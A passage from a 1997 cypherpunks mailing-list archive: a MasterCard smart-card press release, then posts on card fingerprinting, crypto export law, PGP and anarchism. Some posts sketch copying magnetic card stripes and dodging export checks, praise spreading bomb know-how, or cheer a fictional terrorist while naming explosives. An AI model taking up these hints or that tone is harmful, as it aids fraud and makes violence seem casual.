of smart cards a marketplace reality by the new millennium.
          By embracing a new open-platform technology called MULTOS as its
smart card operating platform, MasterCard member banks will now have
access to an unprecedented technology that will enable a single smart
card to support a number of different products, securely and
independently.
          The MULTOS (multi-application operating system) technology, which
was announced today by eight of the leading silicon manufacturers and
smart card companies from the United States, Europe, Asia and
Australia uses the proven Mondex security architecture which allows
applications to be dynamically and securely loaded onto a smart card.
With MULTOS, not only can members load applications when the card is
issued, but cardholders will be able to load or change applications
after the card has been issued by going on-line to the card issuer,
via telephone, the ATM or across the Internet.  This allows
applications and security upgrades to be introduced without reissuing
cards, and for cardholders to "customize" their card with the
applications they choose.
          Paired with the MULTOS technology is a MasterCard migration plan
that gives financial institutions around the world the flexibility to
enter into the smart card arena when it's right for their markets and
their businesses.  Together, MULTOS and the MasterCard migration plan
support a wide range of implementation schemes -- from the most
comprehensive to the most modest -- ensuring that member banks can
bring smart cards to market in a way that is useful for the
cardholder and profitable for the bank.
          "The business case for smart cards varies among markets and
countries, and so the key to a successful migration from magnetic
stripe cards to smart cards is flexibility," said MasterCard
President and CEO Robert W. Selander.  "In our migration strategy we
have a flexible approach that lets every member move to smart cards
at a time and pace that is best for their business.  And in MULTOS we
have a superior technology that is `future-friendly.' MULTOS will
enable our members to embrace smart card technology, and at the same
time, give them the confidence that today's investment will not be
obsolete tomorrow.  By incorporating MULTOS technology into our smart
card migration strategy, we are offering our members the only
complete smart card solution available today," he said.
          "As an open-technology platform, we support the flexibility
MULTOS offers, and realize that by investing in MULTOS, we are
investing in the future of the industry," said Dudley Nigg,
executive vice president, Online Financial Services for Wells Fargo
Bank.  "It also enables us to truly differentiate ourselves by the
types of services we provide our cardholders."
          G. Henry Mundt III, MasterCard executive vice president, Global
Deposit Access, said the MULTOS technology offers distinct benefits
to members that other operating systems cannot.  "Unlike other chip
delivery platforms in the marketplace today, MULTOS provides our
members with multiple sources of interoperable cards - eliminating
any risk associated with being locked into a single silicon supplier
or card manufacturer."
          Mundt, who oversees MasterCard's smart card business, also
explained how members can use MULTOS to differentiate their services
to their cardholders.  "What a MULTOS-based card becomes to the
cardholder is a lifestyle card, allowing the consumer to include the
standard applications of credit and debit, along with other
personally selected applications such as Mondex electronic cash, an
airline loyalty program and a transit pass.  The ability for our
members to meet their cardholders' changing needs by adding or
deleting card applications that can be tailored in real time, through
the telephone, an ATM or across the Internet, is bringing the future
of money to life for the consumer, now,"  he added.
          MasterCard's global smart card strategy incorporates the
following features and deliverables:

--  A set of product specifications and associated applications,
which will include MasterCard credit and debit, and Mondex electronic
cash, that can be combined with member proprietary programs.
Specifications will be available in the third quarter of this year,
and applications will be available in the first quarter of 1998.  The
MULTOS API (application program interface) specifications will be
available in the third quarter of 1997.
      --  The most advanced open-technology platform, introduced on a
non-proprietary "open systems"  basis to enable it to be used as a
standard across various industries interested in using smart cards,
such as finance, retail, travel and telecommunications.  MULTOS
technology will enable a single smart card to support a number of
different products, securely and independently.  MULTOS applications
will need to be written only once and are compatible with any MULTOS
card, regardless of which company has manufactured the card or which
silicon chip is used.  Applications on the card are kept totally
separate and independent by highly secure "firewalls."
      --  A support infrastructure to ensure global acceptance of smart
cards.  Revised rules and operating procedures for MasterCard members
will be available later this year.
      --  A range of application development tools and protocols will be
provided in the third quarter 1997, to enable application developers
to produce products for MULTOS.
      --  Compliance with industry standards: MULTOS is entirely compatible
with the EMV '96 standards related to integrated circuit cards for
payment systems created by Europay, MasterCard and Visa.  MasterCard
credit and debit products implemented on MULTOS for the first quarter
1998 will be fully EMV compliant.
          "MULTOS allows MasterCard and Mondex members to combine, for
example, the Mondex purse with their own products and services on a
single card - while being assured that the security and integrity of
each product or application is guaranteed by the firewalls that are a
unique feature of MULTOS," said Mondex President Michael Keegan.
"This is a great step forward for the financial services industry.
This means that, for the first time, card issuers can use the
security, reliability and flexibility of the smart card to deliver a
range of products and services to their customers - securely and
economically, allowing the consumer to carry fewer, more useful
cards."
          MasterCard International, a payments company with one of the
world's most recognized brands, is dedicated to helping more than
23,000 financial institutions around the world offer consumers a
variety of payment options.  MasterCard remains focused on helping
shape the future of money by expanding acceptance of its global
brands (MasterCard(R), Maestro(R) and Cirrus(R), the world's largest ATM
network; MasterCard also owns 51 per cent of electronic cash leader
Mondex International) and maintaining reliable, secure networks
facilitating global value exchange.  MasterCard has 400 million
credit and debit cards that are accepted at more than 13 million
acceptance locations worldwide.  In 1996, gross dollar volume
generated exceeded $550 billion.  MasterCard can be reached through
its World Wide Web site at http://www.mastercard.com .
-0-
Note: On Thursday, May 15 at 9 a.m. EST, MasterCard's long-term
chip card strategy and the MULTOS technology will be announced during
a teleconference call.  Participants can join the call by dialing
800-553-0272 in the U.S. and 612- 332-0523 outside the U.S.
MasterCard Launches Global Smart Card Platform May 15, 1997
      CONTACT:
      MasterCard International
      Marianne Fulgenzi, 914/249-5443
      Julie Jacobs, Shandwick, 212/309-0620

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From alano at teleport.com  Sat May 17 19:13:29 1997
From: alano at teleport.com (Alan)
Date: Sun, 18 May 1997 10:13:29 +0800
Subject: CC fingerprints
In-Reply-To: <199705171835.OAA23077@homeport.org>
Message-ID: 


On Sat, 17 May 1997, Adam Shostack wrote:

> harka at nycmetro.com wrote:
> 
> | Their solution, called the Magneprint system, reads the millions of tiny
> | magnetic particles, which are unique on each card, says Professor Ronald
> | Indeck.
> | Each magnetic stripe on the card has two important areas. The first looks
> | like a bar code, which contains the account number. The rest is a random
> | pattern of magnetic information -- a signature that is different on every
> | card and impossible to duplicate, Indeck says.
> 
> 	"Impossible to duplicate."  Perhaps he has never heard of the
> ironing trick?  (You use an iron to heat one card in the proximity of
> the other.  This breaks up the cohesion of the particles on the card
> close to the iron.  The magnetic field in the other card causes the
> particles to realign themselves as they cool.)

I am currious how there new system responds to wear and tear on the card.
If it is as sensitive as they claim, I bet carrying the card around in
your pocket will bang the card up enough to make it show up as a
duplicate.

Sounds like an eventual article for Risks...







From real at freenet.edmonton.ab.ca  Sat May 17 19:24:34 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 18 May 1997 10:24:34 +0800
Subject: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
In-Reply-To: <199705180033.RAA26968@fat.doobie.com>
Message-ID: 



Please can you stop this spam from your site.

On Sat, 17 May 1997, Huge Cajones Remailer wrote:

> Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
> rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
> Anal intercourse has caused extensive brain damage.
> 
>         \|||/
>         (o o)
>     -ooO-(_)-Ooo- Tim Mayflower
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From se7en at dis.org  Sun May 18 13:57:27 1997
From: se7en at dis.org (se7en)
Date: Sun, 18 May 1997 13:57:27 -0700 (PDT)
Subject: Hacked, Trashed and Out of Beer
Message-ID: 



Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

which includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en





From llurch at networking.stanford.edu  Sat May 17 23:59:30 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sun, 18 May 1997 14:59:30 +0800
Subject: referers and W3 (fwd)
Message-ID: 


A friend who webmasters a large site that is implementing referer-specific
content sent me this when I mentioned the cpunks/cryptography thread of a
few months back. I basically agree with the W3C. While user education on the
potential privacy threat is essential, I do not believe that Netscape should
violate published technical standards. There are also privacy and property
issues from the server's perspective.

---------- Forwarded message ----------
Subject: referers and W3

The following text was added to W3's page on HTML on May 8.  If nobody 
else has noticed this, you might wish to share it with the cypherpunks, I 
don't know.

   HTML, Hypertext Links and Referer URLs
   
   In a vacuum, semantically neutral technology attracts meaning. If
   neutral technology is useful, commerce -- abhorring a vacuum --
   uses technology in often-unforeseen ways to build new markets.
   Over the past year we have seen attempts to create meaning for
   HTML references where none existed before. Links have been argued
   to mean revenue streams, approval, a source of liability,
   endorsement, and ownership.
   
   The Web depends on hypertext links between resources. Links can
   act as references, or to embed material, both of which are
   concepts that have been around for a long long time. Whats new
   with the Web is the ability to follow links quickly.
   
   When a user clicks on a link, the URL of the page containing the
   link is passed to the server along with the requested URL. This
   gives Web sites the opportunity to customize the response
   according to the page the user clicked on.
   
   If someone jumps into a Web site without entering via the home
   page, a content provider may choose to turn them away or to
   redirect them to the home page. A smarter Web site could use
   partial string matches on the Referer and Requested URLs to
   customize the page it returns.
   
   One reason for doing this is to ensure visitors see the banner ads
   and promotions, a site is using to create revenue; another is to
   avoid broken links when people (or indexing engines) bookmark
   transitory Web pages.
   
   The Referer URL can also be used to determine how to honor
   requests for images or applets. For instance, you might decide to
   only provide images to sites which have signed a license agreement
   with you.

http://www.w3.org/pub/WWW/MarkUp/






From llurch at networking.stanford.edu  Sun May 18 01:49:39 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sun, 18 May 1997 16:49:39 +0800
Subject: dhp.com is blocked by CyberSitter
Message-ID: 


Um...

Who worth talking to isn't?

I have repeatedly requested that they block comp.os.ms-windows.announce and
stanford.edu because we allow content they might find objectionable, but
Milburn has REFUSED to do so. "We don't block sites just because some guy
say so." He's bouncing all subsequent requet from me to block my own web
site to my postmaster, i.e., me.

I still think a counter-blocking approach is appropriate. If you run a
popular web site, make it inaccessible to CyberSitter users. It's easy:

 

CyberSitter is the only program that understands "the VCR standard."

-rich
 http://www.stanford.edu/~llurch/






From vermont at gate.net  Sun May 18 02:53:04 1997
From: vermont at gate.net (Illuminati Primus)
Date: Sun, 18 May 1997 17:53:04 +0800
Subject: Another Bell related raid
In-Reply-To: 
Message-ID: 



On Fri, 16 May 1997, Alan wrote:

> A team of federal agents, led by IRS internal security personnel, raided a
> home at 711 W. 20th St. Thursday morning.

The white cells rush in to disinfect the gangreen.  They should learn to
be less obvious (or start polluting our water with more lead so we dont
notice things like these).  Once genetic engineering is perfected they
will no longer have to worry about strong-willed citizen units anymore.
Too much testosterone will be against the law

Ignorance is Strength






From glavin at best-solutions.com  Sun May 18 18:26:24 1997
From: glavin at best-solutions.com (Tony Glavin)
Date: Sun, 18 May 1997 18:26:24 -0700 (PDT)
Subject: Do You Accept Credit Cards?
Message-ID: <199705190117.SAA00607@italy.it.earthlink.net>


Hi, I was boing a search of web sites that were selling a product or service, and your web site popped up. If this message has been sent to you by mistake, I apologize.

If you are selling a product or service and would like to accept credit cards inexpensively, we have a complete program for you:

Application Fee: $75, refundable if declined
Discount Rate: Around 2%
Transaction Fee: 30 cents
Monthly Minimum Billing Fee: NONE
Monthly Statement Fee: NONE
Processing Software: $395

This software lets you submit the transactions to the credit card processor. It is the same product that others are charging $995 for or leasing for $39 per month on a 48 month lease.

You will be able to accept all major credit cards, even if you are selling over the Internet. You will experience an increase of sales as prospects see you as more credible if you accept credit cards.

If you have any questions about accepting credit cards, please send them via email to:
mailto:glavin at best-solutions.com

Thanks for your time.






From nobody at hidden.net  Sun May 18 03:40:25 1997
From: nobody at hidden.net (Anonymous)
Date: Sun, 18 May 1997 18:40:25 +0800
Subject: PGP 5.0 beta is out at PGP.com
Message-ID: <199705181020.DAA18483@jefferson.hidden.net>


Tim May wrote:
> 
> More than that, did they decide to release the source code?
> Last I heard, the answer was "of course not!!!!"

I recently heard from a PGP employee that they plan to release ALL
source code, including non-crypto code.







From aba at dcs.ex.ac.uk  Sun May 18 03:55:59 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 18 May 1997 18:55:59 +0800
Subject: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <199705181044.LAA00597@server.test.net>



Greg Broiles  writes:
> [...]
> Also, one person commented within the coderpunks thread:
> >>>>
> A disclaimer would be adeqate protection if I remember correctly.
> I don`t recall what the situation is in the US, is it the case that
> the provider of the information is guilty of export, or the person
> that actually downloads it, if it is available via anonymous FTP???
> <<<<
> 
> A disclaimer is not good enough. Both are potentially liable under US law
> (modulo arguments about constitutionality, vagueness, etc). The downloader
> is guilty of an illegal export, and the person who made the software
> available is (using the definition in 15 CFR 734.2) guilty of an export,
> and also has potential liability for conspiracy and/or aiding and abetting,
> depending on the facts of the particular case. 

The downloader by definition is restricted by his own national laws
not by US laws.  US attempted world policeman attitude does not mean
that US laws apply outside the US, particularly not to non-US citizens
outside the US.

(Yeah, I know tell that to Noriega, but that was simple kidnap).

(The UK has recently introduced a few laws which they claim apply to
UK nationals outside when resident outside UK also... bad trend.)

The counter argument is that say Iraq says that you must not show
pictures of women's faces.  Do you similarly honour Iraqs request to
extradite the news media in the US?

Extradition treaties to my understanding tend rely on the crime being
a crime in both countries.  For illegality of exporting crypto code on
the Internet the US is largely on it's own.  And anyway, I'm
_importing_ crypto, you're exporting it, or at least allowing me to
import it.  There are even fewer examples of import restrictions than
of export restrictions.


Personally I would feel no compunction in downloading anything I
choose from any US site on the basis of US laws; they do not apply to
me.

However out of politeness to the operators of the US archives I would
generally not recommend this for the simple reason that it might get
the archive operator in trouble.  This is my only consideration.

For a giggle a while back I had a go at downloading Netscape 128 bit
browser using anonymizer.com.  Found a handy US zip code, phone number
street address (I used a US bank's, which I found handily on the web).

Damn would've worked too, only it tried to open an SSL session through
anonymizer.com for the download and anonymizer doesn't support SSL
sessions (or didn't then).  Bummer :-) So I had to download it from
Alex de Joode's site ftp.replay.com in the Netherlands instead which
was faster anyway.

Self appointed world policemen are fooling themselves if they think
they have any control over bit flow.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


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From lucifer at dhp.com  Sun May 18 07:08:35 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 18 May 1997 22:08:35 +0800
Subject: No Subject
Message-ID: <199705181349.JAA25495@dhp.com>


  Declaration of Digital Independence
 -------------------------------------

We, the computer-literate and technologically superior, in order to
break the ignorant chains of those who hold us back, do hereby
declare our freedom from those who control what they do not
understand. We wish to no longer hear the cries of
"pornography-superhighway" and "cyber-patrol". We reject the
repulsive nonsense shoved down our throats by all forms of media
telling of the dangers of piracy, pornography, and in general, free
thought. There are no "cyber-molesters" we cannot stop as a people.
If you educate your children like the good parent you should be,
they should know what is right and what is wrong, and will be wise,
young judges, with free thought and judgement. We cannot simply
"block" what we find offensive, on the net, on bulletin boards, and
as we all know, in real life. We must learn to deal with the "day to
day inadequacies" of life, and we must not simply become mindless
drones of those that fight to restrict freedom. We must fight even
harder than they, and we must fight to stay free, or all right is
lost. If it's not worth fighting for, then you have already been
brainwashed.

The internet (NOT info-superhighway, or i-way, as those terms are
simply insulting and degrading, made up by the ignorant) cannot and
SHOULD NOT be regulated. It should be allowed to make it's own rules.
It is bigger than any world you can and can't imagine, and it will
not be controlled. It is the embodiment of all that is free; free
information, friendship, alliances, materials, ideas, suggestions,
news, and more. The "Cyber-Angels" are only well-meaning do-gooders
with nothing better to do than to "tattle" on those with different
ideas than they. They use entrapment, and have twisted their ideas
and values to make them apply to cyberspace, trying to rule an area
they do not understand. Fighting for the freedom to think is good,
but to fight for an idea you believe is the only true idea is itself
ignorance. The nazis believed that they were superior, in ideas and
actions, and the "Cyber Angels" are nothing more. You cannot stop
freedom of thought, and they try anyway, to convert anyone and
everyone to their mode of thought. But those of us who see clearly
know that the internet is the greatest invention ever, topping the
telephone and electricity. It is a gathering of the mental body of
billions of people, and we will not be stopped.

The media, as it is known, is the propaganda vending machine of
today. As a whole, they trip over themselves, feeding lies to the
ignorant, and we who are not will watch too, to laugh at the
stupidity that is the media. We sit in front of our televisions, or
listening to the radio, or looking at a newspaper or a magazine, and
we laugh. We laugh and laugh, because the media has become a
ridiculous pool of lies and half-truths. They say we're more
dangerous than sicknesses, and nuclear weapons, because we choose to
laugh at their ideas and boundaries, and we fight to expand them. We
laugh at the pitiful security devices used to keep knowledge from
spreading, and we rip down the beaurocratic bullshit tape they put up
in virtual doorways. We call the boards they show on the news,
covered in ideas and values different than theirs, and we like it. We
like asking for a computer program that we never would have bought,
and having it show up in our mailboxes. We like leaving messages on
BBS' containing information on how to blow up a building or how to
kill a man with your bare hands. We like it, not because it scares
people or because it's "twisted" or "evil", but because it's
forbidden, and lost. You do not know what a "redbox" is? Come,
friend, and I will spread the lost knowledge. And when I tell you,
you will tell another, and we will be held together by the knowledge
which we "should not know". We are the illuminati, and the
enlightened. We look not to the old sciences of textbook learning,
but to the primitive ways, of communication and experience.

We are sickened by the unenlightened. We despise those who wish not
to learn, and those who read the same books, over and over again,
under different names, believing that they are learning. We are the
"different", and the "abnormal", those who are sometimes disliked
because we regurgitate the lies fed to us by the governing. Everyone
has the need to know, the curiosity of the caveman who invented
fire, but some have been trained like monkeys, not ever knowing it's
there. They simply accept things, and do what is expected of them,
and this is sad. They are those who never fight back, and never open
their minds. And they are, unfortunately, usually the governing
bodies; the teachers, bosses, police, federal agents, congressmen,
senators, parents, and more. And this, my friend, must change.

We will not be "voted out", and we will not be mentally disfigured.
If they had the chance, government and the media would give everyone
a virtual labotamy. Our minds to be held in chains, forced to take in
what is given. This is unacceptable. We will not be held down, by
the ignorant, the foolish, and especially the lazy. We take your
textbooks and your lies, and we put them back in the dusty
storerooms where they belong. And we share ideas, and make new ones,
and sometimes ask for a hand to hold, and not one around our throat.
We see what no others can, and what no others want to see. It is a
technological revolution, and a revolution of ideas. We will fight
in battles for our freedom to think, should there be any, but we will
not start any. We are not a violent group, but our opposition
believes ideas should not be let loose to grow, and they will begin
the battle. They have no honor, stealing from us our rights, our
liberty, and our freedom of thought. And for this, we label them
unforgiven...


- Anarchy, and the AoC...









From iang at cs.berkeley.edu  Sun May 18 07:54:49 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Sun, 18 May 1997 22:54:49 +0800
Subject: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <5ln43g$pki@abraham.cs.berkeley.edu>


-----BEGIN PGP SIGNED MESSAGE-----

In article <3.0.1.32.19970517183655.00867d60 at mail.io.com>,
Greg Broiles   wrote:
>But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
>person" is also guilty of an export violation.

Not the way I read the regs (IANAL)...  734.2(b) provides a completely
different definition of "export" for encryption software ((b)(9) instead
of (b)(2)(ii)).

   - Ian

734.2(b):
	(b) Export and reexport--(1) Definition of export. ``Export'' means
    an actual shipment or transmission of items subject to the EAR out of
    the United States, or release of technology or software subject to the
    EAR to a foreign national in the United States, as described in
    paragraph (b)(2)(ii) of this section. See part 772 of the EAR for the
    definition that applies to exports of satellites subject to the EAR.
    See paragraph (b)(9) of this section for the definition that applies to
    exports of encryption source code and object code software subject to
    the EAR.
	(2) Export of technology or software. (See paragraph (b)(9) for
    provisions that apply to encryption source code and object code
    software.) ``Export'' of technology or software, excluding encryption
    software subject to ``EI'' controls, includes:
    

734.2(b)(9):
	(9) Export of encryption source code and object code software. (i)
    For purposes of the EAR, the export of encryption source code and
    object code software means:
	(A) An actual shipment, transfer, or transmission out of the United
    States (see also paragraph (b)(9)(ii) of this section); or
	(B) A transfer of such software in the United States to an embassy
    or affiliate of a foreign country.
	(ii) The export of encryption source code and object code software
    controlled for EI reasons under ECCN 5D002 on the Commerce Control List
    (see Supplement No. 1 to part 774 of the EAR) includes downloading, or
    causing the downloading of, such software to locations (including
    electronic bulletin boards, Internet file transfer protocol, and World
    Wide Web sites) outside the U.S., or making such software available for
    transfer outside the United States, over wire, cable, radio,
    electromagnetic, photooptical, photoelectric or other comparable
    communications facilities accessible to persons outside the United
    States, including transfers from electronic bulletin boards, Internet
    file transfer protocol and World Wide Web sites, unless the person
    making the software available takes precautions adequate to prevent
    unauthorized transfer of such code outside the United States. Such
    precautions shall include:
    

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM38TokZRiTErSPb1AQHZJgP/aFc77erbX8CTK5dKDOskMas5eqHPTj36
VkALz17gkkZLbOs8jafc/hCVRgAC5wiF29CLE33XX2Ngvb8O98mwQFFGnJaUj0+9
70Q7fuKKvjvo19V+yPWVw/Q9ZJR4uA+qpIyyIZf28HIn+949Mpyq75eOs686se3t
AX5q7acfjJc=
=7kz4
-----END PGP SIGNATURE-----






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From: 22232323 at earthlink.net (22232323 at earthlink.net)
Date: Sun, 18 May 1997 22:58:27 +0800
Subject: Free Subscription
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From kent at songbird.com  Sun May 18 08:00:21 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 18 May 1997 23:00:21 +0800
Subject: Anarchy, society, government
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970518073639.23281@bywater.songbird.com>


On Thu, May 15, 1997 at 09:10:39PM -0700, Bill Stewart wrote:
> >> > That's not *my* definition, it's *the* definition, as described in a
> >> > standard, reputable dictionary.  I realize that you have your own 
> >> > private definition of the term, that you share with your friends and 
> >> > an esoteric community.  
> 
> Sigh.  Calling something "*the* definition" of anarchy, when it's not
> the definition anarchists use, doesn't cut it.  I realize that 
> statists have convinced lots of people that "anarchy" means
> "a bunch of bomb-throwing terrorists are going to run down the street
> and kill your mama", but that's because they want to be in charge -
> or at least have SOMEBODY be in charge, since they don't trust people
> to act civilized without rulers who'll kill them if they don't behave. 
> 
> Whether you think anarchism *will* lead to bomb-throwing terrorists,
> or in general whether it's a good or bad idea, is a separate argument.
> But anarchists _ought_ to own the definition.

I don't think so.  The fact is, of course, there are many definitions
for the word.  The definition I used might be called the "literary"
meaning, like the "anarchist" in the Conrad novel that always carries
a bomb.  It is a perfectly legitimate meaning, more common than the
specialist meanings.  But, having apparently stired up a hornets nest 
with a gentle tweak, I'll say no more about it, and be more careful 
around the hornets.

[...]
> One of your more interesting comments was on whether you can separate
> the concepts of society and government - a fairly common view of 
> government is that it needs to have a monopoly on the use of force to
> preserve order, and therefore needs to have tax funding to exist,
> and since you've got it around anyway you might as well use it for
> things that are easiest to do in a centralized manner, and to do
> things that require either social cooperation or lots of money;
> a society like that will find government intertwined in its civil affairs,
> and people will get out of the habit of organizing their own actions
> without using government as a focus.  Other societies have used 
> religious organizations to perform many of the same social functions -
> if everybody's getting together weekly anyway, might as well talk about
> the problems that have been going on, and raise the money needed to
> feed the poor and patch the meetinghouse roof.  And other societies
> have just done these things on a more individual basis, especially
> in sparsely populated areas where there aren't outside invaders.
> Of course, now that governments have taken over most of the world,
> it's hard to find a place without outside invaders...
> 
> But people are still going to teach their kids what they need,
> and people are still going to keep most of their agreements with
> their neighbors, and they're still going to help each other resolve
> arguments about the agreements that weren't kept, whether that
> resolution is done by an armed posse, or by the offender's family
> paying off the obligation in cattle, or by shunning people until they
> do the right thing, or refusing to give credit to known deadbeats,
> or whatever.  Government's only one choice.

It seems to me that government is the only choice when the population
gets "large" -- that is, when an individual deals with substantial
numbers of strangers.  You don't just deal with neighbors and people
you know; you have to know some rules, and you have to be fairly
confident that strangers will follow them as well.  In particular, 
you need to be confident that strangers won't be violent.

Some years ago a woman criminal law judge from the Soviet Union wrote
an interesting book about the Soviet criminal justice system.  Your
first thought might be to just laugh at the thought, but Soviet Russia
had murderers, rapists, thieves, con men -- in short, criminals -- and
they had to be dealt with.  Many of the issues are the same wherever
you are -- what was the crime? What is the evidence? Who is telling
the truth? What are the laws and precedents that apply?  What is the 
appropriate punishment?

Criminal acts are a fact of life in every society.  In a stable,
relatively homogeneous society, I believe, a reasonable justice system
would always evolve, and that system would have a monopoly on
violence.  The population as a whole has a shared idea of what is just
and what is not, and the justice system actually provides it.  This
is, I believe, essentially independent of the political system. 

But back to "government" and "society" -- it's not that I think the
concepts aren't distinct -- like "anarchy", they are just words, you
make or use definitions.  What I was getting at was the reality of
things -- there isn't any clear dividing line where "society" leaves
off and "government" begins.  Leaves are a distinguishable part of a
tree; different kinds of trees have different kinds of leaves; but all
trees have leaves of some form or another, and if you remove the
leaves the tree will die.  And there is no point at which you say the 
tree ends where the leaf begins.

A cop has the authority to use force, but that cop drinks the same
beer we do, watches TV, reads the newspaper, etc; and his behavior,
including his use of force, is conditioned by all that social
experience.  At higher levels of government -- rich people hobnob with
congresspeople, presidents, and supreme court justices.  Businesses
have contracts to supply the US military.  Universities have contracts
to run government labs.  There are elections, initiatives, open
committee meetings.  All people who are elected or work for the 
government consume groceries and toilet paper.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Sun May 18 10:23:22 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 01:23:22 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: 


At 2:20 AM -0800 5/18/97, Anonymous wrote:
>Tim May wrote:
>>
>> More than that, did they decide to release the source code?
>> Last I heard, the answer was "of course not!!!!"
>
>I recently heard from a PGP employee that they plan to release ALL
>source code, including non-crypto code.

I checked the www.pgp.com site and saw no evidence of source code.

Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
version (someone said it was only for Windows/NT, but this appears not to
be so...perhaps by "only" the person meant "no DOS version"?)

Alas, the lookup is too dumb:

"Please accept our apology for any inconvenience, but at this time we
cannot permit a real-time download of the
       product you have requested. The specific problem encountered is:

              InterNIC does not know who `tcmay.got.net' is.

              Sorry. "

I'll have to get it off the Iraqi or Syrian sites.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun May 18 10:54:38 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 01:54:38 +0800
Subject: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: 



I'm engrossed in a good terrorist thriller (*), Joseph Finder's "The Zero
Hour," just out in paperback. It's a detailed account of sabotaging the
U.S./statist infrastructure by a determined billionaire intent on getting
revenge for the murder of his wife and daughter by U.S. agents. He hires an
expert terrorist to take out the U.S. banking industry...what a rush!

(* The conventional "spy thriller" has been largely supplanted by the
"terrorist thriller," given the replacement of the Evil Empire by the Four
Horsemen. Even the Chief Anti-Cryptography, David Aaron, has written a
couple of them. I read the first one, many years ago, and it was pretty
good.)

The detail in Finder's book is quite good. Lengthy discussion of NSA, RC4,
Crypto AG and the NSA tamperings with their products, banking, etc. Even
Hacktic plays a role. Finder is, when not a novelist, a reporter for
leading papers (NYT and WP) on CIA and intelligence matters, so he knows a
lot.

What's really interesting is just how accurate and insightful _most_ of his
crypto stuff is...he really shows evidence of knowing how RC4 works, how
cryppies at NSA do their cryptanalysis, and how Inmarsat portable satellite
phones work.

However, there are a couple of *obvious* errors. My supposition is that he
"pulled his punches" a little, choosing to gloss over certain things which
would have made the "terrorist" essentially impossible to detect. (The most
glaring error, which he surely knew better about, was to assert that NSA
could break any cipher if given enough time and computer power.)

I surmise from how he altered factual details about the world of
cryptography--though masterfully--that he also subtly tweaked some details
in other areas. I, for example, don't plan to use the cyclotrimethylene
trinitramine version of C4, allegedly free of the usual odor-producing
impurities, for any of my sanitization efforts! (He also describes some of
the flaws in the bombs used in the World Trade Center and Oklahoma City
bombings...any aspiring terrorist should certainly read this novel for some
ideas...taking into account the deliberate errors he inserted, as with the
crypto errors!)

A real explosives expert would see in his detailed descriptions of where
and how to get the M6 Special Engineer Electrical Blasting Caps and the
M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
truth that he put into his convincing descriptions of cryptanalysis.

But it's still an excellent novel. I, of course, am rooting for Baumann,
the terrorist.

The usual warning applies: avoid soft targets.

--Tim may

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alan at ctrl-alt-del.com  Sun May 18 11:07:39 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
